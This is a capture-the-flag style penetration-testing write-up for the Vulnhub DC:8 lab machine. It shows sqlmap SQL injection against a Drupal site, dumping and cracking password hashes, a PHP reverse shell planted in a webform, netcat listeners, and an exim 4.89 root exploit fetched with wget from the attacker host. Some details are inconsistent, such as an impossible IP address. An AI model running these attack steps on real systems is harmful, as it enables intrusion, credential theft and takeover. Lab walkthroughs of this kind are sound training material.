PROJECT ON DC:8
-GOKUI.S
PROJECT SETUP
Machine : DC:8 (by DCAU)
Type : Vulnerable VM for Penetration Testing
Download Link: https://www.vulnhub.com/entry/dc-8,367/
Virtual Environment:
● Hypervisor: VirtualBox
● Network Configuration: Bridged Adapter (both Kali Linux and DC:8
VM were on the same physical network)
Steps Followed:
1. Download the DC:8 Virtual Machine from Vulnhub
2. Imported the VM into VirtualBox
3. Set the network adapter to Bridged Mode to allow direct IP visibility
from the host machine.
4. Started both DC:8 VM and Kali Linux on the same Network
5. Used netdiscover to locate the IP address of the DC:8 machine
Step 1: Network Discovery With NetDiscover
Tool Used: netdiscover
Objective: To identify live hosts in the local network and find the IP
address of the DC:8 target machine.
Command Used:
sudo netdiscover
Output Summary:
● The tool scanned the 192.168.194.0/16 network range.
● Found the live host:
1. IP Address: 192.168.183.312
2. MAC Vendor: PCS Systemtechnik GmbH
Step 2: Network Scanning with Nmap
Target IP: 192.168.183.212
Command Used:
nmap -p- -sV -A 192.168.183.212 -Pn
Objective: To identify open ports and running services on the target
machine.
Key Findings:
● Open Ports
1. 22/tcp (OpenSSH 6.0p1 Debian)
2. 80/tcp (Apache Web Server)
● Os Detection:
Linux 3.x-4.x (likely running Debain/Ubuntu-based OS)
● Web Server Details:
1. Server: Apache
2. Web App: Drupal
● Other Indicators:
Host appears to be a virtual machine (Oracle VirtualBox
NIC)
Step 3: Web Interface Confiramation – Accessing Drupal Site
After identifying port 80 (HTTP) as open during the Nmap scan and
observing file paths like /CHANGELOG.txt and /INSTALL.txt, it was
suspected that the target web application was powered by Drupal CMS
To confirm this, the target IP was accessed in the browser:
URL Accessed:
http://192.168.183.212
Observations:
● The web page loaded successfully.
● The page displayed a Drupal-powered DC-8 homepage.
● Links like “welcome to DC-8”, “who we are”, and “contact Us” were
visible.
● The footer confirmed the site was “Powered by Drupal”.
This verified that the server was running Drupal, which might contain
known vulnerabilities if not properly updated or secured.
Screenshot:
Step 4: Input Testing -Discovering SQL Injection Possibility
To test how the web application handles input, the URL parameter nid
was modified with an unexpected character: ’.
URL Tested:
http://192.168.183.212/?nid=2’
Result:
● The application returned a PDOExecption SQL error, revealing:
i. The backend is using MariaDB
ii. SQL query structure: SELECT title FROM node WHERE
nid=…
iii. File path exposed:
/var/www/html/sites/all/modules/mypages/
mypages.module
Significance:
This is a classic SQL injection discovery:
� The system failed to sanitize user input.
� It exposed internal logic and file paths – useful for deeper
exploitation.
Screenshot:
Step 5: SQL Injection Exploitation with SQLMap
After observing the SQL error mannualy, a full automated SQL injection
test was launched using sqlmap.
Command Used:
sqlmap -u “http://192.168.183.212/?nid=2” --dbs --batch --risk 3 --level
5
What sqlmap Found:
� The nid parameter was confirmed injectable
� Detected multiple SQL injection types:
● Bollean-based blind
● Error-based
● Time-based blind
● UNION-based
� The backend database system is: MySQL
� Web app uses: Apache + MariaDB
Extracted Databases:
● d7db
● information_schema
This confirmed that the target is vulnerable to SQL injection and the
backend can be fully enumearated.
Screenshot (Detection Phase):
Screenshot (Enumeration Result):
Step 6: Enumerating Tables from d7db Database
After confirming that the target was vulnerable to SQL injection and
identifying the database d7db, the next logical step was to enumerate its
tables using SQLMap.
Command Used:
sqlmap -u "http://192.168.183.212/?nid=2" -D d7db --tables --batch --
risk=3 --level=5
Outcome:
● SQLMap successfully connected to the d7b database.
● The tool retrieved a list of all available tables.
● This step was crucial in identifying potential tables that might
contain:
o users – Likely to contain user credentials
o sessions – Session tokens and activity
o node, node_field_data, node_revision – Drupal content
structures
o config, cache_bootstrap, cache_config – Drupal system
configuration and performance
o date_format_locale, file_managed, menu_links – Miscellaneous
functionality
o webform, webform_submissions, webform_submission_data –
Custom form submission data
o watchdog – Drupal’s system log table
This confirmed that the site runs a full Drupal stack, and that user
credentials and form data are likely accessible in further
exploitation.
Screenshot (Detection Phase):
Screenshot (Enumeration Result):
Step 7: Dumping User Credentials from users Table
After identifying the users table in the d7db database, the next step was
to extract its contents using SQLMap.
Command Used:
sqlmap -u "http://192.168.183.212/?nid=2" -D d7db -T users --dump --
risk=3 --level=5
Output:
● SQLMap successfully dumped the users table.
● Two user entries were found.
I Password
Username Email
D Hash
dc8blah@dcablah.or
1 dcauuser@outlook.com $S$D2trcty...
g
2 john@blahsdfd.org john@blahsdfd.org $S$Dqupvjbx...
The password fields were hashed using Drupal’s salted SHA512 format
($S$ prefix indicates this).
Screenshot (Detection Phase):
Screenshot (Enumeration Result):
Step 8: Cracking Password Hashes with John the Ripper
After dumping the password hashes from the users table, the next step
was to attempt offline password cracking using John the Ripper and a
widely used wordlist.
Files Prepared:
● Hash File: dc8.txt
(Contains the hashed passwords copied from SQLMap output)
● Wordlist Used: rockyou.txt
Command Used:
john --wordlist=/usr/share/wordlists/rockyou.txt dc8.txt
Result:
● John successfully cracked the password hash.
● Output -- john : turtle
Screenshot:
Step 9: Logging into the Web Application
With valid credentials obtained from the password cracking step, access
to the Drupal-powered web portal was attempted.
Login Portal Accessed:
http://192.168.183.212/user/login
Credentials Used:
● Username: john
● Password: turtle
Result:
● Login was successful.
● User john was authenticated into the Drupal CMS interface.
● The dashboard was accessible, enabling further exploration of user
privileges and potential administrative functionality.
Screenshot:
Step 10: Identifying PHP Code Injection via Webform Settings
After logging in as user john, you navigated to the "Contact Us" page,
which uses a Drupal Webform to collect input.
Path Followed:
● Dashboard → Content → Contact Us → Webform → Form
Settings
In the confirmation message field, you noticed the following:
Message displayed:
Thanks for contacting us. We shall be contact soon.
Vulnerability Discovery:
● The text format setting for the confirmation message was set to
allow PHP code execution (e.g., "PHP code" or similar).
● You modified the message area and attempted to inject a custom
PHP snippet.
However, upon saving and testing, the output still appeared as:
<p>Thanks for contacting us. We shall be contact soon</p>
Screenshot:
Step 11: Exploiting
Here we saw that we had an option to change the text format. We
changed it to PHP code. This revealed the php code on the webpage. We
edited this page with our php reverse shell so as to generate a shell over
the target machine.
Screenshot:
Now that we have edited out php code, we also started a netcat listener to
receive a shell that would be generated on the execution of our php
reverse shell script.
Command Used:
nc -lvp 8886
Screenshot:
Now to submit the form with our php reverse shell script, we would have
to enter some of these mandatory data. These details can be anything but
they should support the format of the data supposed to be entered.
Screenshot:
After typing in all that information, we clicked on the submit
button. After a few seconds, we got the shell from the target
machine. It was a shell of user ‘www-data’. This was an
improper shell. So, in order to convert it into a proper shell, we
ran the python one-liner mentioned below.
After getting a proper shell, it was a time to escalate privilege
on this machine. So, to do that we ran the find command to find
the files with the SUID permissions. We found a service named
exim4. Now, in order to proceed further, we are going to need
the version of the exim4 tool. It will help us in searching for
some exploit on the internet. This was found to be 4.89.
Command Used:
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@dc-8:/$ find / -perm -u=s -type f 2>/dev/null
www-data@dc-8:/$ exim --version | head -1
Screenshot:
Step 12: Privelage Escalation
We surfed the web for an exploit regarding exim tool of version
4.89. ExploitDB came up with the rescue. It gave us this Local
Privilege Escalation Exploit. We examined it carefully.
Screenshot:
Firstly, we traversed into the /tmp directory, because we need
to transfer a file and /tmp directory has the writable permission.
We downloaded it into our attacker machine i.e Kali Linux and
renamed it raptor_exim_wiz.sh. We edited our IP address and
the port which we will be using to capture the netcat session.
After that, we created a server on the Kali Linux to send the file
directly to the target machine. We used the wget command for
this transfer. After transferring the script on the target
machine, we gave it proper permissions so that it can execute
properly.
Command Used:
www-data@dc-8:/tmp$ wget http://192.168.183.132:8000/
exploit.sh
www-data@dc-8:/tmp$ chmod 777 exploit.sh
After providing with the proper permissions, it’s time to run a
listener so that we can capture the shell which would be
generated by this script. After that, we ran the command with
the option to invoke netcat as shown in the image given below.
This script invoked a netcat shell to our attacker machine on
port 8880.
Command Used:
nc -lvp 8880
www-data@dc-8:/tmp$ ./exploit.sh -m netcat
Screenshot:
Step 12: Capturing The Flag
We successfully got the shell on the target machine. On running the
whoami command, we got a satisfactory response of ‘root’. We traversed
into the root directory using the cd command. We found our flag at this
location.
Command Used:
● Whoami
● cd /root
● ls
● cat flag.txt
Screenshot:
